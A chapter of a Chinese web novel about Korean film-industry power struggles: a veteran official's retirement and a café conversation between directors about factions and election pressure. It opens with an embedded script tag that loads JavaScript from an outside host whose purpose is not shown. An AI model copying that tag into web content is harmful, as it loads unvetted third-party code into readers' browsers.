<script src="https://img.zhaozhi.us/pc/pc.js?v=2022"/>
金东浩老先生对组织的信任已经达到一定程度了,这么多年了,当其他韩国人眼巴巴的等着五十多岁就退休享福的时候,金老先生却能够在这个高龄不计报酬的十余年如一日的为组织服务……啧啧,这种精神,这种觉悟……再对比一下那个建立小金库的郑仁烨,高下立判啊!
实际上,面对着组织上的决定,老先生确实也展现出了极高的觉悟,大致的了解了一下情况后,二话不说,他立即决定元旦前就光荣退休!而且对李庸观教授接任自己的职务毫无任何赘言,甚至愿意以委员长的身份主动提名对方。对此,随后赶到的李庸观教授和李沧东导演一合计,准备为老先生在元旦举办一个盛大的退休典礼,然后全韩国的电影人都要来,然后以此回报老人家多年以来为韩国电影的发展所作出的贡献……呃,这么一来的话,很多涉足影坛的艺人就要发愁了,元旦本来就是各种典礼云集,这个典礼恐怕又不敢不去,到时候错过什么电视台的发奖怎么办?
答案是凉拌!谁敢不去导演协会就敢把谁的名子记在小本本上。
总之,对上聪明人有些事情办得就是利索,跟郑仁烨的万般不舍不同,金东浩来得也快去的也快。
但是……所以说但是!当一众人看着老爷子走之前依旧不忘跟贝克打招呼,还不忘笑摸那只笨狗的狗头时,所有人竟然都生出了一股意兴阑珊的感觉。
其实大家心里都明白,说到底,这位这么拿得起放的下还是因为年纪确实到了,74岁了,成败心也好名利心也罢,不能说没有,但是胸口的那股气在天命面前已经自然而然的消了六成。人家现在选择放下权力去颐养天年,去享受人生,难道真的是败了?
尤其是李沧东和李庸观二人,看着老对手撑起伞后依旧显得精神矍铄的背影,他们心中刚刚涌起来的那份得意立即就消散了八分。因为,哪怕是终于把这位给撵走了,但说到胜败二字,自己二人再加上因为肝病已经不能工作的朴光洙,其实都是这个老头子的手下败将!而且是败得体无完肤,无可挽回!
“这么一看的话……老先生还真是潇洒啊!”李在斌尴尬的笑了一下。“要是没事的话,我就……先回去了。诸位,咱们元旦釜山再见?”
“那就这样吧!”李沧东随意的点了下头,算是批准了这次咖啡店会议的散场。
“钟铭,我先回去了。”李在斌起身后又拍了一下金钟铭的肩膀。“有机会再一起喝一杯,中国那边的事情我蛮感兴趣的。”
“也好。”金钟铭不以为意的点点头。
就这样,李在斌先走,然后像是开了闸一样,韩载翼、崔希奎、李秉宪等人纷纷告辞,然后李庸观也站起来说自己要赶去釜山交接,还要筹备金东浩的退休典礼,所以要先行告辞。当然了,这个表情一直很严肃的教授走前还是认真感谢了金钟铭,顺便还让金钟铭替他向安圣基致意。
最后剩下的三人中,郑进周似乎是有话想跟金钟铭说,但是看着纹丝不动的李沧东,犹豫了一会后他也选择告辞了,说是要去联络媒体朋友给郑仁烨洗白。
于是乎,偌大的咖啡厅里,很快就只剩下金钟铭和李沧东这两个真正的人物了。
“你怎么还不走?”李沧东一开口似乎就想撵人。“不去买点感冒药吗?”
“感冒而已,对我这个年纪的人简直是蚊子叮了一下的小事”金钟铭捂着鼻子坦然答道。“倒是前辈你,原本应该是最不耐烦最想走的一个吧,现在怎么反倒坐着不动了?”
“我只是作家的职业病犯了,想着这一下午的事情,然后心生感慨不想走罢了。”说到这里,李沧东有些无奈的摇了摇头。“不像你,留下来是典型的心存不良。”
“我哪里心存不良?”金钟铭连连否认。“前辈太看得起我了!”
“你是不是想告诉我郑进周这家伙投靠了某位很有可能成为下任总统的人物,所以他会继续执掌电影振兴委员会?”李沧东端起咖啡杯想喝一口,却发现已经冰凉了,只好重新放了回去。“然后还想提醒我,我们导演协会这次倒郑仁烨其实是前门拒狼后门进虎。然后是你金钟铭早有察觉,用漂亮的手腕帮我们遏制住了郑进周……是这意思吧?”
金钟铭理所当然的点了点头,丝毫没有感到惊讶,李沧东能听出来他的暗示是理所当然的,不然一开始他也就不会眼皮都不眨一下就配合着自己把总会的权力给废掉了。那时候对方应该就已经想明白一切的一切了。
“朴女士?”略作思考后,李沧东给出了一个更为正确的答案。
“哎。”
“也只能是她了。”
“是啊。”金钟铭不置可否。
“我蛮讨厌这些人的。”李沧东叹了口气。“每次选举前都要逼文化界站队……”
“全韩国都要站队。”金钟铭摇摇头。“只不过因为我们这个行当天然的容易起到更大的作用,所以显得突出而已……前辈看看三大电视台,那才叫一个激烈!”
“算了……不说这些事情了。”李沧东不耐的摇摇头,然后强行转移了话题。“中国之行有什么收获吗?”
金钟铭稍微怔了一下,他捂着鼻子抬起头仔细打量了一下对方,但却没有看出来什么结果。
“看我干吗?”李沧东失笑道。“脸上有花?”
“那倒不是。”金钟铭有些尴尬的放下了手。“只是很不理解前辈为什么要问这个……您看,我在那边是有些收获,但主要都是生意上的。”
“未必吧?”李沧东摇了摇头。“我倒是觉得你这一趟成熟了不少。”
“这话从何说起?”金钟铭干笑着反问道。